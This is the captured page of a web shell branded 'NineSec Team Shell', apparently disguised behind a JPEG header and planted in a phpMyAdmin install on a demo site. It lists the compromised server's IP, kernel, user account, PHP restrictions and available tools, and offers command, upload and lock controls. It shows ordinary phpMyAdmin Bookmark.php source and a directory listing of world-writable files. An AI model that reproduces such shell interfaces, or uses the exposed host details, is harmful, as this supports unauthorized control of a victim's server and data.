�����JFIF��������(ICC_PROFILE���������mntrRGB XYZ ������������acsp�������������������������������������-��������������������������������������������������� desc�������trXYZ��d���gXYZ��x���bXYZ������rTRC������(gTRC������(bTRC������(wtpt������cprt������ NineSec Team Shell
NineSec Team Shell
Server IP : 51.38.211.120  /  Your IP : 216.73.216.188
Web Server : Apache
System : Linux bob 5.15.85-1-pve #1 SMP PVE 5.15.85-1 (2023-02-01T00:00Z) x86_64
User : readytorun ( 1067)
PHP Version : 8.0.30
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0755) :  /home/readytorun/domains/demo.readytorun.it/public_html/phmad/libraries/classes/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : /home/readytorun/domains/demo.readytorun.it/public_html/phmad/libraries/classes/Bookmark.php
<?php
/**
 * Handles bookmarking SQL queries
 */

declare(strict_types=1);

namespace PhpMyAdmin;

use PhpMyAdmin\ConfigStorage\Features\BookmarkFeature;
use PhpMyAdmin\ConfigStorage\Relation;

use function count;
use function preg_match_all;
use function preg_replace;
use function str_replace;
use function strlen;

use const PREG_SET_ORDER;

/**
 * Handles bookmarking SQL queries
 */
class Bookmark
{
    /**
     * ID of the bookmark
     *
     * @var int
     */
    private $id;
    /**
     * Database the bookmark belongs to
     *
     * @var string
     */
    private $database;
    /**
     * The user to whom the bookmark belongs, empty for public bookmarks
     *
     * @var string
     */
    private $currentUser;
    /**
     * Label of the bookmark
     *
     * @var string
     */
    private $label;
    /**
     * SQL query that is bookmarked
     *
     * @var string
     */
    private $query;

    /** @var DatabaseInterface */
    private $dbi;

    /** @var Relation */
    private $relation;

    public function __construct(DatabaseInterface $dbi, Relation $relation)
    {
        $this->dbi = $dbi;
        $this->relation = $relation;
    }

    /**
     * Returns the ID of the bookmark
     */
    public function getId(): int
    {
        return (int) $this->id;
    }

    /**
     * Returns the database of the bookmark
     */
    public function getDatabase(): string
    {
        return $this->database;
    }

    /**
     * Returns the user whom the bookmark belongs to
     */
    public function getUser(): string
    {
        return $this->currentUser;
    }

    /**
     * Returns the label of the bookmark
     */
    public function getLabel(): string
    {
        return $this->label;
    }

    /**
     * Returns the query
     */
    public function getQuery(): string
    {
        return $this->query;
    }

    /**
     * Adds a bookmark
     */
    public function save(): bool
    {
        $bookmarkFeature = $this->relation->getRelationParameters()->bookmarkFeature;
        if ($bookmarkFeature === null) {
            return false;
        }

        $query = 'INSERT INTO ' . Util::backquote($bookmarkFeature->database)
            . '.' . Util::backquote($bookmarkFeature->bookmark)
            . ' (id, dbase, user, query, label) VALUES (NULL, '
            . "'" . $this->dbi->escapeString($this->database) . "', "
            . "'" . $this->dbi->escapeString($this->currentUser) . "', "
            . "'" . $this->dbi->escapeString($this->query) . "', "
            . "'" . $this->dbi->escapeString($this->label) . "')";

        return (bool) $this->dbi->query($query, DatabaseInterface::CONNECT_CONTROL);
    }

    /**
     * Deletes a bookmark
     */
    public function delete(): bool
    {
        $bookmarkFeature = $this->relation->getRelationParameters()->bookmarkFeature;
        if ($bookmarkFeature === null) {
            return false;
        }

        $query = 'DELETE FROM ' . Util::backquote($bookmarkFeature->database)
            . '.' . Util::backquote($bookmarkFeature->bookmark)
            . ' WHERE id = ' . $this->id;

        return (bool) $this->dbi->tryQuery($query, DatabaseInterface::CONNECT_CONTROL);
    }

    /**
     * Returns the number of variables in a bookmark
     *
     * @return int number of variables
     */
    public function getVariableCount(): int
    {
        $matches = [];
        preg_match_all('/\[VARIABLE[0-9]*\]/', $this->query, $matches, PREG_SET_ORDER);

        return count($matches);
    }

    /**
     * Replace the placeholders in the bookmark query with variables
     *
     * @param array $variables array of variables
     *
     * @return string query with variables applied
     */
    public function applyVariables(array $variables): string
    {
        // remove comments that encloses a variable placeholder
        $query = (string) preg_replace('|/\*(.*\[VARIABLE[0-9]*\].*)\*/|imsU', '${1}', $this->query);
        // replace variable placeholders with values
        $number_of_variables = $this->getVariableCount();
        for ($i = 1; $i <= $number_of_variables; $i++) {
            $var = '';
            if (! empty($variables[$i])) {
                $var = $this->dbi->escapeString($variables[$i]);
            }

            $query = str_replace('[VARIABLE' . $i . ']', $var, $query);
            // backward compatibility
            if ($i != 1) {
                continue;
            }

            $query = str_replace('[VARIABLE]', $var, $query);
        }

        return $query;
    }

    /**
     * Creates a Bookmark object from the parameters
     *
     * @param array $bkm_fields the properties of the bookmark to add; here, $bkm_fields['bkm_sql_query'] is urlencoded
     * @param bool  $all_users  whether to make the bookmark available for all users
     *
     * @return Bookmark|false
     */
    public static function createBookmark(DatabaseInterface $dbi, array $bkm_fields, bool $all_users = false)
    {
        if (
            ! (isset($bkm_fields['bkm_sql_query'], $bkm_fields['bkm_label'])
            && strlen($bkm_fields['bkm_sql_query']) > 0
            && strlen($bkm_fields['bkm_label']) > 0)
        ) {
            return false;
        }

        $bookmark = new Bookmark($dbi, new Relation($dbi));
        $bookmark->database = $bkm_fields['bkm_database'];
        $bookmark->label = $bkm_fields['bkm_label'];
        $bookmark->query = $bkm_fields['bkm_sql_query'];
        $bookmark->currentUser = $all_users ? '' : $bkm_fields['bkm_user'];

        return $bookmark;
    }

    /**
     * @param array $row Resource used to build the bookmark
     */
    protected static function createFromRow(DatabaseInterface $dbi, $row): Bookmark
    {
        $bookmark = new Bookmark($dbi, new Relation($dbi));
        $bookmark->id = $row['id'];
        $bookmark->database = $row['dbase'];
        $bookmark->currentUser = $row['user'];
        $bookmark->label = $row['label'];
        $bookmark->query = $row['query'];

        return $bookmark;
    }

    /**
     * Gets the list of bookmarks defined for the current database
     *
     * @param DatabaseInterface $dbi  DatabaseInterface object
     * @param string            $user Current user
     * @param string|false      $db   the current database name or false
     *
     * @return Bookmark[] the bookmarks list
     */
    public static function getList(
        BookmarkFeature $bookmarkFeature,
        DatabaseInterface $dbi,
        string $user,
        $db = false
    ): array {
        $query = 'SELECT * FROM ' . Util::backquote($bookmarkFeature->database)
            . '.' . Util::backquote($bookmarkFeature->bookmark)
            . " WHERE ( `user` = ''"
            . " OR `user` = '" . $dbi->escapeString($user) . "' )";
        if ($db !== false) {
            $query .= " AND dbase = '" . $dbi->escapeString($db) . "'";
        }

        $query .= ' ORDER BY label ASC';

        $result = $dbi->fetchResult(
            $query,
            null,
            null,
            DatabaseInterface::CONNECT_CONTROL
        );

        if (! empty($result)) {
            $bookmarks = [];
            foreach ($result as $row) {
                $bookmarks[] = self::createFromRow($dbi, $row);
            }

            return $bookmarks;
        }

        return [];
    }

    /**
     * Retrieve a specific bookmark
     *
     * @param DatabaseInterface $dbi                 DatabaseInterface object
     * @param string            $user                Current user
     * @param string            $db                  the current database name
     * @param int|string        $id                  an identifier of the bookmark to get
     * @param string            $id_field            which field to look up the identifier
     * @param bool              $action_bookmark_all true: get all bookmarks regardless
     *                                               of the owning user
     * @param bool              $exact_user_match    whether to ignore bookmarks with no user
     *
     * @return Bookmark|null the bookmark
     */
    public static function get(
        DatabaseInterface $dbi,
        string $user,
        string $db,
        $id,
        string $id_field = 'id',
        bool $action_bookmark_all = false,
        bool $exact_user_match = false
    ): ?self {
        $relation = new Relation($dbi);
        $bookmarkFeature = $relation->getRelationParameters()->bookmarkFeature;
        if ($bookmarkFeature === null) {
            return null;
        }

        $query = 'SELECT * FROM ' . Util::backquote($bookmarkFeature->database)
            . '.' . Util::backquote($bookmarkFeature->bookmark)
            . " WHERE dbase = '" . $dbi->escapeString($db) . "'";
        if (! $action_bookmark_all) {
            $query .= " AND (user = '"
                . $dbi->escapeString($user) . "'";
            if (! $exact_user_match) {
                $query .= " OR user = ''";
            }

            $query .= ')';
        }

        $query .= ' AND ' . Util::backquote($id_field)
            . " = '" . $dbi->escapeString((string) $id) . "' LIMIT 1";

        $result = $dbi->fetchSingleRow($query, DatabaseInterface::FETCH_ASSOC, DatabaseInterface::CONNECT_CONTROL);
        if (! empty($result)) {
            return self::createFromRow($dbi, $result);
        }

        return null;
    }
}

NineSec Team - 2022
Name
Size
Last Modified
Owner
Permissions
Options
..
--
September 11 2024 5:18:57
readytorun
0755
Charsets
--
September 11 2024 5:18:57
readytorun
0755
Command
--
September 11 2024 5:18:57
readytorun
0755
Config
--
September 11 2024 5:18:57
readytorun
0755
ConfigStorage
--
September 11 2024 5:18:57
readytorun
0755
Controllers
--
September 11 2024 5:18:57
readytorun
0755
Crypto
--
September 11 2024 5:18:57
readytorun
0755
Database
--
September 11 2024 5:18:57
readytorun
0755
Dbal
--
September 11 2024 5:18:57
readytorun
0755
Display
--
September 11 2024 5:18:57
readytorun
0755
Engines
--
September 11 2024 5:18:57
readytorun
0755
Exceptions
--
September 11 2024 5:18:57
readytorun
0755
Export
--
September 11 2024 5:18:57
readytorun
0755
Gis
--
September 11 2024 5:18:57
readytorun
0755
Html
--
September 11 2024 5:18:57
readytorun
0755
Http
--
September 11 2024 5:18:57
readytorun
0755
Image
--
September 11 2024 5:18:57
readytorun
0755
Import
--
September 11 2024 5:18:57
readytorun
0755
Navigation
--
September 11 2024 5:18:57
readytorun
0755
Partitioning
--
September 11 2024 5:18:57
readytorun
0755
Plugins
--
September 11 2024 5:18:57
readytorun
0755
Properties
--
September 11 2024 5:18:57
readytorun
0755
Providers
--
September 11 2024 5:18:57
readytorun
0755
Query
--
September 11 2024 5:18:57
readytorun
0755
Server
--
September 11 2024 5:18:57
readytorun
0755
Setup
--
September 11 2024 5:18:57
readytorun
0755
Table
--
September 11 2024 5:18:57
readytorun
0755
Twig
--
September 11 2024 5:18:57
readytorun
0755
Utils
--
September 11 2024 5:18:57
readytorun
0755
.htaccess
0.124 KB
November 14 2025 9:26:18
readytorun
0444
Advisor.php
12.317 KB
August 28 2023 5:04:12
readytorun
0777
Bookmark.php
9.188 KB
August 28 2023 5:04:12
readytorun
0777
BrowseForeigners.php
10.644 KB
August 28 2023 5:04:12
readytorun
0777
Cache.php
1.502 KB
August 28 2023 5:04:11
readytorun
0777
Charsets.php
6.823 KB
August 28 2023 5:04:12
readytorun
0777
CheckUserPrivileges.php
11.303 KB
August 28 2023 5:04:12
readytorun
0777
Common.php
19.156 KB
August 28 2023 5:04:12
readytorun
0777
Config.php
41.534 KB
August 28 2023 5:04:12
readytorun
0777
Console.php
3.251 KB
August 28 2023 5:04:12
readytorun
0777
Core.php
29.376 KB
August 28 2023 5:04:13
readytorun
0777
CreateAddField.php
15.951 KB
August 28 2023 5:04:11
readytorun
0777
DatabaseInterface.php
71.577 KB
August 28 2023 5:04:12
readytorun
0777
DbTableExists.php
2.859 KB
August 28 2023 5:04:12
readytorun
0777
Encoding.php
8.41 KB
August 28 2023 5:04:12
readytorun
0777
Error.php
13.626 KB
August 28 2023 5:04:12
readytorun
0777
ErrorHandler.php
18.225 KB
August 28 2023 5:04:12
readytorun
0777
ErrorReport.php
8.988 KB
August 28 2023 5:04:11
readytorun
0777
Export.php
45.555 KB
August 28 2023 5:04:11
readytorun
0777
FieldMetadata.php
11.244 KB
August 28 2023 5:04:12
readytorun
0777
File.php
19.745 KB
August 28 2023 5:04:11
readytorun
0777
FileListing.php
2.877 KB
August 28 2023 5:04:12
readytorun
0777
FlashMessages.php
1.217 KB
August 28 2023 5:04:12
readytorun
0777
Font.php
5.54 KB
August 28 2023 5:04:12
readytorun
0777
Footer.php
8.061 KB
August 28 2023 5:04:12
readytorun
0777
Git.php
17.859 KB
August 28 2023 5:04:11
readytorun
0777
Header.php
19.871 KB
August 28 2023 5:04:12
readytorun
0777
Import.php
48.719 KB
August 28 2023 5:04:11
readytorun
0777
Index.php
14.83 KB
August 28 2023 5:04:11
readytorun
0777
IndexColumn.php
4.755 KB
August 28 2023 5:04:12
readytorun
0777
InsertEdit.php
89.076 KB
August 28 2023 5:04:11
readytorun
0777
InternalRelations.php
17.314 KB
August 28 2023 5:04:11
readytorun
0777
IpAllowDeny.php
9.13 KB
August 28 2023 5:04:11
readytorun
0777
Language.php
4.473 KB
August 28 2023 5:04:12
readytorun
0777
LanguageManager.php
22.641 KB
August 28 2023 5:04:13
readytorun
0777
Linter.php
4.988 KB
August 28 2023 5:04:12
readytorun
0777
ListAbstract.php
1.669 KB
August 28 2023 5:04:11
readytorun
0777
ListDatabase.php
4.112 KB
August 28 2023 5:04:11
readytorun
0777
Logging.php
2.691 KB
August 28 2023 5:04:13
readytorun
0777
Menu.php
20.401 KB
August 28 2023 5:04:12
readytorun
0777
Message.php
18.68 KB
August 28 2023 5:04:13
readytorun
0777
Mime.php
0.896 KB
August 28 2023 5:04:12
readytorun
0777
Normalization.php
41.575 KB
August 28 2023 5:04:12
readytorun
0777
OpenDocument.php
8.619 KB
August 28 2023 5:04:11
readytorun
0777
Operations.php
35.114 KB
August 28 2023 5:04:12
readytorun
0777
OutputBuffering.php
4.099 KB
August 28 2023 5:04:13
readytorun
0777
ParseAnalyze.php
2.337 KB
August 28 2023 5:04:11
readytorun
0777
Pdf.php
4.174 KB
August 28 2023 5:04:12
readytorun
0777
Plugins.php
21.82 KB
August 28 2023 5:04:12
readytorun
0777
Profiling.php
2.158 KB
August 28 2023 5:04:11
readytorun
0777
RecentFavoriteTable.php
11.436 KB
August 28 2023 5:04:13
readytorun
0777
Replication.php
4.81 KB
August 28 2023 5:04:12
readytorun
0777
ReplicationGui.php
21.239 KB
August 28 2023 5:04:11
readytorun
0777
ReplicationInfo.php
4.792 KB
August 28 2023 5:04:11
readytorun
0777
ResponseRenderer.php
13.495 KB
August 28 2023 5:04:11
readytorun
0777
Routing.php
5.971 KB
August 28 2023 5:04:12
readytorun
0777
Sanitize.php
11.981 KB
August 28 2023 5:04:11
readytorun
0777
SavedSearches.php
11.328 KB
August 28 2023 5:04:12
readytorun
0777
Scripts.php
3.738 KB
August 28 2023 5:04:11
readytorun
0777
Session.php
8.162 KB
August 28 2023 5:04:11
readytorun
0777
Sql.php
63.988 KB
August 28 2023 5:04:12
readytorun
0777
SqlQueryForm.php
6.742 KB
August 28 2023 5:04:12
readytorun
0777
StorageEngine.php
15.723 KB
August 28 2023 5:04:12
readytorun
0777
SystemDatabase.php
3.98 KB
August 28 2023 5:04:11
readytorun
0777
Table.php
90.179 KB
August 28 2023 5:04:13
readytorun
0777
Template.php
4.505 KB
August 28 2023 5:04:12
readytorun
0777
Theme.php
7.319 KB
August 28 2023 5:04:12
readytorun
0777
ThemeManager.php
6.999 KB
August 28 2023 5:04:12
readytorun
0777
Tracker.php
30.337 KB
August 28 2023 5:04:12
readytorun
0777
Tracking.php
36.106 KB
August 28 2023 5:04:12
readytorun
0777
Transformations.php
16.314 KB
August 28 2023 5:04:12
readytorun
0777
TwoFactor.php
6.979 KB
August 28 2023 5:04:11
readytorun
0777
Types.php
24.739 KB
August 28 2023 5:04:12
readytorun
0777
Url.php
10.608 KB
August 28 2023 5:04:12
readytorun
0777
UrlRedirector.php
1.735 KB
August 28 2023 5:04:12
readytorun
0777
UserPassword.php
6.859 KB
August 28 2023 5:04:11
readytorun
0777
UserPreferences.php
10.488 KB
August 28 2023 5:04:12
readytorun
0777
Util.php
85.741 KB
August 28 2023 5:04:12
readytorun
0777
Version.php
0.543 KB
August 28 2023 5:04:12
readytorun
0777
VersionInformation.php
7.3 KB
August 28 2023 5:04:13
readytorun
0777
ZipExtension.php
10.334 KB
August 28 2023 5:04:12
readytorun
0777

NineSec Team - 2022